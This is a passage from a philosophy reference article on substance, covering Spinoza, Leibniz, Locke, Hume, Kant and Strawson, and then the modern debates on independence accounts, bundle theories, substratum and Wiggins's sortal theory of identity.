controversy whether Spinoza was a pantheist, or an atheist who called nature ‘God’ because it was the one true substance and existed necessarily. Everything else is a mode of this one substance. The view is analogous to a claim that the universe is space-time as a whole, with matter as distortions in it. If this were true, material objects would be modes of space-time. The analogy would be more exact if one also thought of the laws of nature as equivalent to the divine intellect immanent in nature. Spinoza’s view represents the extreme end of stressing the status of substance as the fundamental existent conceived of as wholly necessary and self-subsistent: that is, criteria (i) and (ii) in the original list come to take on maximum weight. Nothing but the universe as a whole meets this criterion fully.  Leibniz was not satisfied by this conception of divine substance, at least in part because it confines God to what actually exists. For Leibniz, God contains within himself all possibilities, not just the actual world: this latter is just that maximal set of possibilities that he has best reason to actualize. Leibniz acknowledges created substances, though they are very intimately dependent on God. In the Discourse on Metaphysics, (Section 14), he says:  it is clear that created substances depend on God, who conserves them and indeed who produces them continuously by a kind of emanation, just as we produce our thoughts. (1998: 66)  The analogy with thought hardly emphasizes the independence of substance! Nevertheless, created substances do constitute the created world, and do, in that sense, meet criterion (i) for being substance. They are also the subjects of predication, so they meet criterion (iii). Leibniz’s substances, however, are the bearers of change (criterion (iv)) in a very different way from Aristotle’s individual substances. An Aristotelian individual possesses some properties essentially and some accidentally. The accidental properties of an object are ones that can be gained and lost over time, and which it might never have possessed at all: its essential properties are the only ones it had to possess and which it possesses throughout its existence. The situation is different for Leibniz’s monads—which is the name he gives to individual substances, created or uncreated (so God is a monad). Whereas, for Aristotle, the properties that an object has to possess and those that it possesses throughout its existence coincide, they do not do so for Leibniz. That is, for Leibniz, even the properties that an object possesses only for a part of its existence are essential to it. Every monad bears each of its properties as part of its nature, so if it were to have been different in any respect, it would have been a different entity.  Furthermore, there is a sense in which all monads are exactly similar to each other, for they all reflect the whole world. They each do so, however, from a different perspective.  For God, so to speak, turns on all sides and considers in all ways the general system of phenomena which he has found it good to produce…And he considers all the faces of the world in all possible ways…the result of each view of the universe, as looked at from a certain position, is…a substance which expresses the universe in conformity with that view. (1998: 66)  So each monad reflects the whole system, but with its own perspective emphasised. If a monad is at place p at time t, it will contain all the features of the universe at all times, but with those relating to its own time and place most vividly, and others fading out roughly in accordance with temporal and spatial distance. Because there is a continuum of perspectives on reality, there is an infinite number of these substances. Nevertheless, there is internal change in the monads, because the respect in which its content is vivid varies with time and with action. Indeed, the passage of time just is the change in which of the monad’s contents are most vivid.  It is not possible to investigate here Leibniz’s reasons for these apparently very strange views. Our present concern is with whether, and in what sense, Leibniz’s substances are subjects of change. One can say that, in so far as, at all times, they reflect the whole of reality, then they do not change. But in so far as they reflect some parts of that reality more vividly than others, depending on their position in space and time, they can be said to change.  According to Locke, we have two conceptions of substance. One is a ‘notion of pure substance in general’ (Essay II xxiii 2), the other ‘ideas of particular sorts of substance’ (II xxiii 3). Both these conceptions of substance provide difficulties of interpretation. They also both relate to issues in contemporary philosophy of substance, in which Locke’s influence is almost as important as Aristotle’s.  2.5.1 Locke on ‘pure substance in general’  Locke expresses this idea as follows:  The idea then we have, to which we give the general name substance, being nothing, but the supposed, but unknown support of those qualities, we find existing, which we imagine cannot subsist, sine re substante, without something to support them, we call that support substantia, which, according to the true import of the word, is in plain English, standing under or upholding. (II xxiii 2)  The traditional rationale of Locke’s doctrine of ‘substance in general’ is as follows. Properties—or, in Locke’s terms qualities—must belong to something—‘cannot subsist…without something to support them’. Of course, they belong to objects, but what are objects over and above their properties? The special category of substantial form, as found in Aristotle, is rejected. All that seems to be left is a bare ‘something’, which on pain of regress, has no properties in its own right, except the property of being the owner or support of other properties.  This interpretation of Locke’s notion of ‘substance in general’ is, however, a matter of controversy. It is contested whether Locke actually believed in substance as a characterless substratum. Although the first quotation above seems to affirm it, Locke also in the same section speaks disparagingly about the idea, comparing it to the notion that the world rests on an elephant, which rests on a tortoise, and so on: in other words, as not constituting a real explanation at all. Michael Ayers (1975, 1991b: 39–50) believes that the only substratum that Locke acknowledges is the unknown—and, Locke thinks, unknowable by us—structure of the minute parts. This is what he elsewhere characterizes as the real essence. It is clear from the text that Locke is at least uneasy with the idea of ‘pure substance in general’, but it is less clear whether he feels obliged to accept an idea he dislikes, or whether he rejects it. (For the view that he accepts it, and why, see Bennett, 1971 and 1987.)  There are indications that Locke is confused about what he means by ‘substratum’. He argues that the notion of spiritual substance is in no worse a predicament than material substance, because  we have as clear a notion of the substance of spirit as we have of body: the one being supposed to be (without knowing what it is) the substratum to those simple ideas we have from without; and the other supposed (with a like ignorance of what it is) to be the substratum to those operations which we experiment in ourselves within. ‘Tis plain then, that the idea of corporeal substance in matter, is as remote from our conceptions, and apprehensions, as that of spiritual substance, or spirit;…. (II 23 v)  This argument seems to conflate the notions of substratum as pure logical support with that as minute parts. If he means minute parts, then, though it is true that we do not and, in his view, cannot know in detail what they are, we have a theory, which he endorses, that they are probably minute parts as conceived by the atomists, which means they have primary qualities similar in kind though not in scale to those possessed by macroscopic objects. This gives a coherent, though speculative, conception of material substance. Of spiritual substance, we have no similar hypothesis. If, on the other hand, he means pure logical substratum, there is nothing to know, for there is no more to it, in either the material or spiritual case, than its role as substratum. He seems to conflate the ignorance we have of minute parts with the logical emptiness of the idea of pure substratum.  In fact there are three issues concerning the material underpinning of things which Locke regards as mysterious, and he seems to move indifferently from one to the other. First, there is organization of the minute parts of particular kinds of objects, which is responsible for the manifest properties of those objects, and which he thinks will always fall beyond our knowledge. Second is the mystery of what holds the minute parts together: the problem of explaining attraction in a system that only understands influence by impact. (xxiii 23). Third, is that idea of substance as a bare substratum, which is “a supposed, I know not what, to support those ideas we call accidents.” (xxiii 15).  Perhaps it is more profitable to ask whether, in his own terms, Locke ought to have accepted bare substratum. If we accept that the question of what binds together the qualities of a macroscopic object can be answered by appeal to the minute parts, the issue would then be what binds the primary qualities of atoms. Do the size, shape, mass, solidity of a particular atom require a bare substratum to inhere in for them to constitute a coherent object? Would they, without such a substratum be just a stack of qualities, a house of cards with nothing holding them together? There does not seem to be anywhere in the text where Locke discusses this problem—that is, the coherence of atoms as opposed to composite objects—explicitly. One possible resort is to treat solidity as the core or master quality and all the others as features of it. One would never ask what binds together a patch of colour and its shape, because the shape is the shape of the colour patch, and, though the shape of something can change, its shape cannot come away from it, like a separable component. Perhaps the shape, size and density of an atom are similarly features of the solidity. The quality solidity would then become equivalent to the notion of material stuff or material substance and Locke shows no sign of wanting to elide the ideas of quality and substance in this way, though it should be noted that this is what Descartes does with extension. Because he does not believe in void, extension carries with it the other basic properties of matter as features of it.  2.5.2 Locke on ‘ideas of particular sorts of substance’  The ideas of particular sorts of substance—called sortals—are formed  by collecting such combinations of simple ideas, as are by experience and observation of men’s senses, taken notice of to exist together, and are therefore supposed to flow from the particular internal constitution, or unknown essence of that substance. Thus we come to have the ideas of a man, horse, gold, water, etc… (II xxiii 3)  Thus, for Locke, the real essence is an unknown atomic constitution. The types that we categorize them in depend on the properties we happen to be able to perceive and kinds or sorts are defined in terms of these observable properties. Definition in these terms he calls ‘nominal essence’. Our concepts of natural substances presuppose that the nominal essence hides a real essence—that is, that all water, gold, horses etc are in some way similar at a microscopic level. But he both denies that these real essences play any role in the formation of our concepts and is deeply sceptical of our ever being able to discover what they are. His attitude towards the Aristotelian view is expressed later in the paragraph just quoted:  …a philosopher…whatever substantial forms he may talk of, has no other idea of those substances than what is framed by a collection of those simple ideas which are found in them….  Locke’s doctrine of sortals is in some respects realist and in some conceptualist or conventionalist. It is realist in at least the following ways.  The properties [ideas] in terms of which sortals are defined do correspond to real qualities and powers in the world. There is no sense in which these building blocks of reality are creatures of our conceptual scheme. The properties invoked by nominal essences are “supposed to flow from the particular internal constitution, or unknown essence of that substance”(xxiii 3). This internal constitution “makes the whole subsist by itself” (xxiii 6).  Thus Locke is entirely realist about individual bodies and their properties. He is more conventionalist, however, about their classification under particular sortals. There are four ways in which he is a conceptualist about particular substances, as we classify them.  There is nothing over and above the properties of an object corresponding to our substance concepts—nothing, that is, like a substantial form—present in the world. Sortals are entirely formed by our minds, in the light of the properties perceived to be in the world. The boundaries we draw between kinds of things are, to some degree at least, arbitrary and concept relative. I do not deny, but nature, in the constant production of particular beings, makes them… very much alike and of kin one to another: but I think it nevertheless true, that the boundaries of the species, whereby men sort them, are made by men…. (III vi 37: italics in original) The situation in (ii) is greatly aggravated by our ignorance of real essences. If we could know those more accurately, we would know better where to draw the boundaries. The disposition of properties in nature need not have been as it is and might actually contain oddities not corresponding to any of our sortals. Sortals, unlike Aristotelian species, place no constraints on how individual objects must or ought to be.  Locke’s contribution is, therefore, three-fold. He brings to centre stage the question of whether properties require some substratum or bare particular to inhere in or belong to. He asserts that the substantial nature of the physical world is the unknown structure of atomic parts, not a substantial form which reflects our usual concepts. Third, he develops a theory of substance which is realist about particular objects and their properties, but conceptualist or conventionalist about our classifications, within the constraints that the facts about particulars and properties impose.  There is one important context, however, where Locke does not appear to talk in a conventionalist way about sortal identity, but in a way that seems to be reminiscent of substantial forms. This is when he is discussing the individuation of living things. He understands ordinary bodies as mereological sums of atoms. As such, any change of particle constitutes a new object, for a mereological sum is individuated by its parts and a change of parts means a change of the object constituted by those parts. Treating ordinary, non-living, bodies as complex enduring objects is a matter of convention determined by the concepts we happen to possess. Living things, however, have a deeper principle of unity.  That being then one plant which has such an organization of parts in one coherent body, partaking of one common life, it continues to be the same plant as long as it partakes of the same life, though that life be communicated to new particles of matter vitally united to the living plant…. (Essay II.27.4)  One might wonder what this ‘common life’ is supposed to be, especially in the light of his rejection of Aristotelian ‘substantial forms’. Furthermore, it is tempting to argue that all coherent, solid bodies—such as a lump of rock or plasticene—have some principle of organization which persists through change. Living objects are simply the most dramatic case of this. (Though Peter van Inwagen (1990) defends the view that only living things and atoms are real entities: inanimate complex bodies are not true individuals.) Nevertheless, though the appeal to ‘life’ seems to modify Locke’s conventionalism, it still leaves open the possibility that the divisions we make between different species are conventions, because, though we can recognize life (or a ‘continuing principle of organization’) itself, it is still relatively arbitrary and concept-dependent where life (or ‘principle of organization’) of one kind ends and another starts. So our division of things into species, though grounded in real continuities in the way that our non-biological (or non-natural) concepts are not, is still nominal.  As we shall see, the idea that there is a real unity which is passed on through the life of an object or through any principle of organization is something that Hume criticizes and rejects.  The potential for a stronger realism in Locke has been exploited by Putnam and Kripke in their development of a modern, essentialist conception of natural kind terms. Locke was pessimistic in two connected respects. First he was sceptical about the possibility of science discovering the nature of the real essences—the structures of atoms or molecules—that underlie kinds of substance picked out by our ordinary sortals. Second, he doubted whether the objects picked out by our actual substance concepts really shared a real essence in the way we assume that they do. He was not confident, that is, that everything we call gold, or iron, or a monkey, was actually interestingly similar at a non-superficial level. Both these forms of pessimism proved largely unfounded. The consequence of this is the possibility of bringing together real essence and the sortal concepts originally picked out by a nominal essence. We now know water to be H2O and iron to be the element of atomic weight 56. Our substance concepts were, often at least, tracking real essences in the world. This involves reinterpreting the rationale of our substance concepts. Locke thought that our concept of gold was properly expressed as ‘anything gold in colour, malleable, soluble in aqua regia’. He thought that we add the optimistic assumption that there will be similarity at the microscopic level. What many philosophers, under Putnam’s influence, now think he should have said is that gold is that kind of thing which is individuated by a particular kind of minute structure that underlies the stuff which is gold in colour, malleable, soluble in aqua regia. In other words, our confidence that these kinds have a genuine real essence is built into the concept. If this is correct, then our ordinary ‘natural kind’ concepts, like water and gold, have built into them intimations of a deeper unity than that supplied by superficial features, even if it be allied to a complete agnosticism about what that unity might consist in or whether we might ever uncover it.  How does Locke, then, rate against the six criteria for substancehood that were set up in the introduction? Accepting, for these purposes, that Locke believed in substratum, we can apply these tests both to substratum, and to his ‘ideas of particular sorts of substance’.  First, consider substratum. (i) Ontological basicness. There is a sense in which it is ontologically basic, but it is a rather empty sense: it is the substancehood of everything, without explaining the nature of anything. (ii) Durability. Again, it meets the criterion, but in an empty way. It is difficult to see how it could be destroyed (like Aristotle’s prime matter) but it has no positive nature. (iii) and (iv) Bearer of predication and subject of change. As with matter for Aristotle, it meets the first of these standards well, but, in so far as it is a component only in atoms, it is not the subject of change. (v) and (vi) Kinds of individuals and stuffs. Although in everything, it is itself no kind of thing and therefore no kind of individual or stuff. Substratum’s claim to substancehood does not rest, however, on meeting the tests itself, but on being what enables particular kinds of substances to be substances. According to the believer in substratum, it is in virtue of their inhering in a substratum that a collection of properties can constitute an enduring, change-sustaining thing of a certain kind. Without that support, individual instances of properties could, if they could exist at all, be no more than ephemeral events.  We have seen that Locke’s particular substances are kinds of things, and because they are kinds they correspond to Aristotle’s secondary substances. But we have also seen that the boundaries between these kinds are largely a matter of convention, which is not true of Aristotle’s secondary substances. In so far as their individuation is dependent on human convention, they are not ultimately real in their own right. But though they are not real as kinds, the individual parcels of matter that we classify in these ways are perfectly real. Locke does not, as far as I can see, refer to these individuals as ‘substances’. Substances, considered as kinds, or instances of kinds, can sustain change—living things, for example, change in size throughout their lives. Most individual parcels of matter, however, become different individuals if they change any of their parts; although we have seen that this does not apply to living things, where there seems to be a metaphysical component called sameness of life.  In general, Locke’s particular substances are not ontologically basic, because their essences are nominal, though this is not so clearly true for sortals naming biological kinds. Locke’s conceptualism about such substances makes most of the tests irrelevant, which are cast within a realist framework. Locke’s ‘particular substances’ are kinds which are individuated conventionally, and so are not real substantial kinds, by Aristotelian standards. But Locke is not without substance other than substratum, for his real essence—that is, the atoms and their structures—are his real substances, and what we say above about the substantiality of atoms also goes for Locke.  It is plausible to maintain the general thesis that there are many issues on which Hume was a sceptic or nihilist, but where his legacy is more reductionist than sceptical or nihilist. This general thesis can be explained and illustrated by considering his treatment of substance, for it is a case in question.  According to Hume, in the Treatise, our belief in substance is the result of a mistake or illusion.  When we gradually follow an object in its successive changes, the smooth progress of the thought makes us ascribe an identity to the succession…When we compare its situation after a considerable change the progress of the thought is broken; and consequently we are presented with the idea of diversity: In order to reconcile which contradictions, the imagination is apt to feign something unknown and invisible, which it supposes to continue the same under all these variations; and this unintelligible something it calls a substance, or original and first matter. (1978: 220)  Hume’s target is any account that postulates a unifying ‘something’ that underlies change, whether this be a characterless substratum, a substantial form or (though this is not explicitly mentioned) something like the ‘continuing life’ that Locke sees as passed on in living things. The crucial point is that a succession of very similar things does not constitute the real continuation of anything, only the illusion of real continuation.  Thus Hume’s treatment of substance is like his treatment of causation, in that he sees both as the projection onto the world of a tendency of our minds either to pass from one thing to another or to associate them in some way. He either doubts that there are such things as substance or causation (scepticism) or even positively denies that there are (nihilism). Out of Hume’s very forthright negative attitude there developed two more subtle variants. One of these variants is in the empiricist tradition. That tradition modified Hume’s approach by developing it into a form of reductionism. The experiences which gave rise, through habit, to the mistaken belief (in, for example, substance or causation) are presented as what the belief really affirms. That is, the empirical basis for what Hume deems to be an illusion, is reinterpreted as the reductive account of the concept. Causation then becomes constant conjunction, or substance a name for a bundle of properties organized in a certain way or the continuing of the possibility of certain sensations.  Kant developed the other variant. He took Hume’s ‘tendencies of the mind to pass’ from one idea to another, without which we could not construct the world, and canonized them as a priori categories of the understanding. Hume’s empiricist emphasis is psychological. It concerns what we are habituated to do. Because of his empiricism, he will not bring non-psychological necessity into it. Nevertheless, there is the implication that making these transitions is the only way in which one can understand the world. Kant drops the empirical psychology and makes it a matter of a priori psychology, that only by employing certain categories could we have experience as of a physical world. It is only by understanding the world as possessing enduring spatio-temporal objects, which enter into causal relations with each other (that is, it is only by applying the categories of substance and causation) that we can have intelligible experience. Substances—that is, a framework of stable, enduring objects—are essential, but the source of this necessity lies not how the world is in itself, but in the framework which we are obliged to impose.  In the Kantian philosophy of P. F. Strawson (1959, 1966), this framework of necessity is taken in a more common-sense and realist spirit. The world must possess such enduring objects for it to be intelligible for us—indeed, for us to be part of it, for we are essentially stable bodies amongst other stable bodies. The important point for both Strawson and Kant is that there must be substances for there to be a coherent empirical, spatio-temporal world. Substance has become a formal concept of central importance—that is a concept with a special central role in the structure of our conceptual scheme—rather than being the name for certain kinds of important things in the world. This distinction, however, is one that has to be handled carefully, especially within a realist Kantian framework, such as Strawson provides. This should become clear below when we discuss Wiggins’s theory, which is both Aristotelian and Strawsonian. Nevertheless, it gives ground for adding the seventh of the marks of substance mentioned in the Introduction, namely that substances are those enduring particulars that give unity to our spatio-temporal framework and individuation and re-identification of which enables us to locate ourselves in that framework.  Two major areas of controversy require attention. First, there are the issues concerning how to characterize substance in contradistinction to properties and the other categories. There are at least two major questions here. One concerns defining the notion of substance. In particular, there has been much debate about whether substance can be accounted for in terms of its special kind of independence. The other is whether substancehood require some extra component beyond properties, (and, if so, what?) or whether a ‘bundle of properties’ theory of substance is adequate. Second there is the relation between substances and our practices of individuation and reidentification. In particular, we shall look at the issue of whether objects must be individuated under the kind of sortal expressions that correspond to Aristotelian substance concepts, or whether a more generic notion, such as physical body, will suffice. This latter concern will lead on to a consideration of the connection between substance and teleology.  One natural response to the question of what distinguishes substances from properties is that properties depend for their existence on substances, for they are properties of objects (that is, of individual substances), but that substances do not similarly depend on properties for their existence. The point cannot be made quite so simply, however. Properties could not exist without objects to be properties of, but neither could substances exist without properties, so the dependence appears to be mutual.  This problem can be overcome by more careful expression of the point, making it clear that we are not talking about properties in general and substances in general, but about particular instances or cases of a property and the particular objects to which they belong. A particular property instance cannot exist and could not have existed without the substance of which it is a property, but the particular substance can exist and could have existed without that property instance. Thus, a particular instance of colour cannot exist, and could not have existed, without the object of which it is the colour, but the object can exist without the colour instance, for it may change colour and remain the same object, or it could have had a different colour from the start.  Various problems can be raised for this account. The most obvious is that it does not, as stated, distinguish between substances and events. Some property-instances belong to events rather than substances. The performance of a symphony, for example, is an event, and it may possess the property, in one of its movements, of being allegro. It seems plausible that this particular case of something’s being allegro could not have been exemplified by another performance, but the performance might go on to be andante in another movement, so the event can continue to exist without that original property. The assimilation of events with substances in this way seems strained, however. It does not seem natural to say that the same event was first allegro, then andante, because it is more natural to attribute the different properties to different parts of the event, which are themselves events (in this case, movements). This brings out a major difference between substances and events, namely that the temporal parts of events are themselves events in their own right, but the temporal parts of objects—meaning by that expression the temporal phases of an object’s existence—are not themselves objects. Indeed, it is not natural to talk of the temporal parts of objects, though some philosophers (led by David Lewis (1986), but see also Sider (2001), Hawley (2001) and the entry on temporal parts) think that there are compelling philosophical reasons for doing so. The rationale implicit in our ordinary concept is that an object is wholly present at all the temporal points of its existence. I say ‘implicit rationale’, because it seems no more natural to speak of an object as being ‘wholly present at all temporal points of its existence’ than it is to say that it has objects as its temporal parts. Nevertheless, one does not think of a long-lived object as consisting of a series of short-lived objects stacked end to end, but one does think it natural to think of a drawn-out event as consisting of a series of shorter events. If it is not natural to think of objects as having objects as their temporal parts, this seems to commit one to thinking of objects as wholly present at all times of their existence, strange though this form of expression may also be.  The difference between substances, events and properties can now be expressed as follows. Substances and events are distinguished from properties by the fact that properties are the kinds of things the instances of which depend for their existence on the particular substance or event by which they are instantiated, whereas substances and events are such as not to depend for their existence on particular instances of properties. And substances are distinguished from events in the following way: events are those property-instantiators that, when they exist through time, are temporally composed of further things of the same category (i.e., events): substances are those property-instantiators that, when they exist through time, are not temporally composed of things of the same category (i.e., of substances) but endure singly through the period.  Lowe, in his (1998), which contains a very thorough discussion of all the topics discussed in this section, defends an ‘independence’ account of substance, which he states in terms of identity, as follows:  x is a substance if and only if x is a particular and there is no particular y such that y is not identical to x and the identity of x depends on the identity of y.  He considers two objections to his own account which would seem to apply to all independence accounts. One is that it cannot cope with essential properties, for it seems to imply that, for any given property-instance, a substance can exist without it, which is not true of essential properties. The other is that it cannot cope with the necessity of origin for individual identity.  Lowe responds to the former objection by saying that essential properties are identical with the substance, so cannot be cited as something other than substance that meets his criterion for being substance. It is not clear that this will work. The idea that the essence is identical with the substance is Aristotelian, but it is not clear how this applies to essential properties, taken individually. We have already seen, in our discussion of Aristotle, that the relation between the essence as some kind of unity and the properties that seem to constitute it is not clear. He copes with the second by denying that origin is essential to identity. Unfortunately, he argues for this position by citing human subjects: Socrates, for example, would still have been who he was even if he had had different parents. This is, of course, controversial about humans, but it is our Cartesian intuitions that make it plausible in that case. That this table, for example, could have been the same object even if made from different material does not have the same plausibility.  Whether these objections to the above versions of the independence account can be answered is unclear. Hoffman and Rosenkrantz (1994 and 1997) develop a different, though probably not incompatible, conception of the relative independence of substances compared to other categories. Substance, they say, is the only category of thing which might have only one instance through at least a minimally extended period of time. Thus, for example, there is no possible world which has, in a given period of time, only one event, for any non-instantaneous event will be made of events which are its parts. Similarly for properties or tropes, there can never be only one because any one entails the existence of others, as, for example, the existence of a red property (instance) entails the existence of (an instance of) the property colour. By contrast, there could exist through a period of time just one substance, provided that it was atomic.  As Mackie (2000) points out, the full statement of this theory involves various relatively ad hoc restrictions. More importantly, it does not seem to explain what unifies the category of substance, for it does not say that it is true of any substance that it could conceivably be the only substance existing for a period of time—indeed, it could not apply to non-atomic substances, for complex ones can exist only if other substances—those that constitute their parts—also exist. It implies only that something from the category of substance might so exist and that this could not be true of any other category. One might wonder what enabled substances that could not exist alone to count as substances at all.  If either of the above accounts are successful, substances, properties and events are distinguished. The question remains, however, how far these are nominal and how far real distinctions. That there is a difference between substance concepts and property concepts has definitely been shown, but does it follow that there are, in reality two different kinds of thing, namely properties and substances? The answer might seem to be obvious. Given that there are substance concepts, if those concepts are instantiated, then there are substances in reality. Cat, table, human being, are substance concepts by the above accounts, and there are cats, tables and humans, so there are substances in reality as well as properties.  The matter is not so simple, however. It is possible, and not uncommon, for concepts of a certain kind to be exemplified, but for it to be the case that, nevertheless, entities answering directly to those concepts are not included in the most economical statement of one’s ontology. This is reductionism, and it can operate in either of two ways, namely either analytical reductionism or what one might call de facto or ‘nothing but’ reductionism. In the present case, it would conform to the analytical option if the concept of substance could be analysed in terms of properties or events (e.g., ‘to be a substance =df to be a collection of properties bound together in way W’). But one might still hold that, though the concept of substance is not precisely analysable and is indispensible, substances in fact are nothing but collections of properties. This latter is the de facto option. So the existence of substances does not show that the concept is important from a philosophical perspective, or, if it has some significance, whether this is just as a necessary part of our conceptual scheme, or as an ineliminable feature of reality itself.  3.2.1 Bundle theories and their problems  We have just noted that there could be analytically reductionist or de facto reductionist accounts of substance in terms of properties. It is also the case that the properties might be conceived of as universals, or as individuals—that is, property-instances, which are sometimes called ‘tropes’. There are, therefore, four options for the bundle theorist.  The concept of substance can be analysed in terms of some relation between properties conceived as universals. The concept of substance can be analysed in terms of properties conceived of as individuals, e.g., as property-instances or tropes. Substances are in fact no more than bundles of properties conceived of as universals. Substances are in fact no more than bundles of properties conceived of as individuals.  The main objections to the ‘universals’ form of the theory rest on its apparent commitment to the Identity of Indiscernibles, for if an object is no more than a bundle of properties, then if a and b have exactly the same properties, they are the same bundle. Whether it does carry this commitment may depend on whether one allows spatial points as particulars, in addition to the properties that are universal. If one did, then the universal theories would not entail the identity of indiscernibles, for the same universals could be in two bundles by being at two different locations.  If properties are conceived of as individuals—otherwise known as tropes, property-instances or individualized forms—then there cannot be a problem about the distinctness of exactly similar bundles, for the difference is built into the identity of the elements of the bundle, as it is not if the bundle is made of universals. The problem for this version of the bundle theory seems to be that it is difficult to individuate or distinguish tropes in a way that makes them suitable to be individuals—in one sense, the substances—from which objects are made. (Armstrong 1989, 115ff) For example, if an object has a size, a mass, and a motion, are the size and the mass different tropes and is it not strange to think of the size alone as a genuine particular suited to be treated as an ‘atomic’ component of the whole? One way out of this problem may be to resort to the notion of a master property which was invoked in the discussion of Locke on substratum (2.5.1); that is, to the notion of one property of which all the others are modes, as visual shape is a mode of colour, or extension is the master property of matter for Descartes. In the Newtonian model, solidity might fill this role, for shape is merely the outline of the solidity which constitutes the heart of the object. In a sense, theories of this kind are not ordinary bundle theories, for one property is chosen to fill the role of substratum, because the other properties inhere in, or are modes of, it. Whether anything could perform this role from amongst the properties that are basic to modern, post-Newtonian physics—properties such as charm, energy, spin and mass—is not easy to judge.  One objection often made against the theory is that bundles are mereological sums, rather like Locke’s ‘masses of matter’, and that, therefore, any change of property is a change in the identity of the object. Various forms of essentialist solutions to this problem have been suggested, for example, by Simons (1994), and Barker and Jago (2018). I must admit to having difficulties seeing why the view that objects are constituted solely out of property-instances should commit one to a mereological view, any more than the theory that they are constituted solely from material particles would, so I do not see this as a special problem for the bundle theory.  3.2.2. The concept of substratum or ‘thin particular’  If one is not satisfied with a bundle theory of substance, so that one thinks that an individual substance is more than a collection of properties, how is one to understand this ‘more’? This question can be given a deflationary or a substantive answer. The deflationary answer is that a substance is a thing which has properties, and that is all one needs to say. (See, for example, Crane and Farkas 2004, 143f, and Chisholm 1969.) An object is not composed of properties and some further ingredient—the ‘thingy’ bit—an object is something which simply has properties. Any feature of it can, of course, be regarded as a property, but that does not render an object nothing but a collection of properties. There seems to be a clash of intuitions at this point about what makes sense. An opponent of the deflationary view will say that properties, however understood, must be components of objects, conceptually or formally speaking. If they are not the only components in this sense, one must say something about the nature of the rest. The deflationist thinks that this line of thought embodies some kind of category mistake in the way it handles the idea of a component. The anti-deflationist will argue that the fact that we are talking about components only in a conceptual sense does not alter the fact that we are obliged, once we start, to offer an account that is complete and distinguishes the various elements.  Bennett offers one way out of the need to postulate a mysterious substratum.  When I say ‘This is an orange’ I mean that there are here instances of certain properties such as orangeness, sphericality etc., and I indicate that I am operating on my ideas of those instances in a certain combining manner. (1987: 202. Italics added.)  This solution, as Bennett recognizes, makes substancehood a function of how we operate on the properties we perceive. It is, in that sense, more Kantian than realist. As what it recognizes as out there in the world is just a bundle of properties, it does not dissolve the problem in the way that a deflationist would require.  Substantive theories take the thought of a further component seriously, and, though they do not seem to be generally distinguished, there are two main conceptions of this extra element, which I will call the ‘thin particular’ and the ‘substratum’ conceptions. ‘Thin particular’ is an expression of D. M. Armstrong’s. It is the particular in abstraction from its properties. When considered with its properties it is a thick particular. The important point is that thin particulars really are particulars. ‘Bertrand Russell might have been a fried egg’: that is, the thin particular associated with one set of properties and, hence, with one thing, might have belonged to another. Different properties might have been hung on this hook. It is not so clear, by contrast, that a substratum of the kind Locke considers, or like Aristotle’s prime matter, is a particular in this sense. It is more like a kind of stuff—the substantiveness on to which properties are stuck. On this conception, the suggestion that the ‘piece’ of substratum or ‘prime matter’ that is here in object a, might always instead have been there in object b, seems to lack content.  It is useful at this point to take note of the three different functions the thin particular or substratum might fulfil. Its role might be (i) to bind the properties into a unity, so that they do not ‘fall apart’: (ii) to individualize them, if they are universals: (iii) to carry one across the categorial barrier from property to substance; that is, to be what it is that makes something to be in the category of substance.  The first role will not be necessary if one thinks that there is a ‘master property’ of which the others are modes, or if one thinks that unity can come from some causal or organizational connection. (ii) will not apply to a tropist theory, or if one thinks that location will do the job. (iii) rests on the intuition that no collection of properties could, in themselves, amount to a substance: the very idea is a category mistake, and only the presence of a special ‘substantializing’ element could do that. It might be argued that this intuition begs the question against the bundle theory. At the current state of the debate, it looks as if there is no compelling reason for accepting substratum.  The Aristotelian tradition anchors the concept of substance, at least in nature, primarily to instances of species of natural object. The Kantian tradition ties it to those enduring bodies the individuation of which gives sense and structure to our spatio-temporal framework. David Wiggins (1967, 1980, 2001) has made a sustained attempt to prove that these two objectives necessarily go together and to make the Aristotelian notion of substance, even including its bias towards the biological, central to our practice of individuating objects.  Wiggins assumes that individuating a temporally enduring object involves being able to re-identify it at different times and under different descriptions. This assumption makes it possible to state substance individuation using the language of identity. Within the scope of this assumption, he makes two claims. The first is the sortal relativity of identity: that is, when any a and b are asserted to be the same thing, they must be the same something-or-other, and the something-or-other must be the kind of concept that answers ‘what is it?’ questions. In other words, there is no such a thing as ‘bare identity’—identity under no concept at all. Furthermore, the relevant concept must be an Aristotelian substance concept or sortal. More formally, this can be expressed as follows:  If a = b then (a) there is a sortal F such that: a is an F b is an F a is the same F as b.  The second claim is that is that if the object picked out by ‘a’ also falls under another sortal, G, then so will the object picked out by ‘b’, and it will be the same G as a. This is represented as an application of Leibniz’s Law, for if a is the-same-G-as-a (as it must be) then, as a = b, b must be the-same-G-as-a.  (b) for any sortal G, a is G iff b is G, if a is G then b is the same G as a.  The conclusion is striking because it is a denial that a and b might be identical under one form of identification, but not under another. In fact it implies that every individuable object falls under just one ultimate sortal. (Wiggins admits this in (2001: 67 n.7). What is meant by ultimate sortal will emerge below.) For every ultimate sortal has its own principle of individuation, and if an object fell under more than one, there could be a time at which it satisfied the criteria for one and not for the other. Wiggins’s thesis is a very strong claim, apparently backed up by a powerful argument. It is a strong claim for it purports to prove that any world with individuable objects must be constituted by Aristotelian substances. The argument is powerful because it follows by simple logic, granted seemingly plausible claims about identity, and Leibniz’s Law.  On the other hand, there seem to be many cases of objects which can be identified under a variety of concepts, leading to different life histories. This is termed relativity of identity. For example, a and b may be the same person but not the same child because b is a grown up and no longer a child. Or a and b may be the same lump of clay but not the same statue because b is the lump after it has been reshaped out of its statue shape. These are the most typical kinds of counter examples and Wiggins has responses to both. He deals with the first by invoking the concept of a phase sortal. A phase sortal is one that, by its meaning, denotes part of the life history of something, which, as a whole, is denoted by another sortal. So child is a phase sortal which applies to a phase of the things fully designated by human being. This illuminates an important aspect of the concept of a sortal. It is a necessary condition for F’s being an ultimate sortal that, whenever it applies to something, it applies in a present-tensed manner to the thing through the whole of its existence.  The statue and the lump of clay are dealt with by denying that the lump and the statue are identical: the lump of clay constitutes the statue, but is not identical with it. Notice that he could have argued that the statue was just a phase of the lump, but he does not do so because statue is not, by its very meaning, a phase sortal: statue, unlike child, does not indicate by its meaning a period in the existence of something.  So Wiggins deals with objections mainly by two distinctions. One is between sortals which apply to objects through the whole of their existence, and sortals appropriate only to a phase of their existence: the other is between the ‘is’ of identity and the ‘is’ of constitution. Correspondingly, criticism centres on whether the concepts under which we pick things out behave in as regimented a way as Wiggins requires, and on whether the ‘is’ of constitution is sufficiently different from the ‘is’ of identity to perform the task he wants of it.  3.3.1 The discipline of sortal identification  There are certain kinds of counter-example that Wiggins does not discuss in print. There might, for example, be a sword-stick, which has its blade removed and the inside of the cane filled with resin, so that it ceases to be a 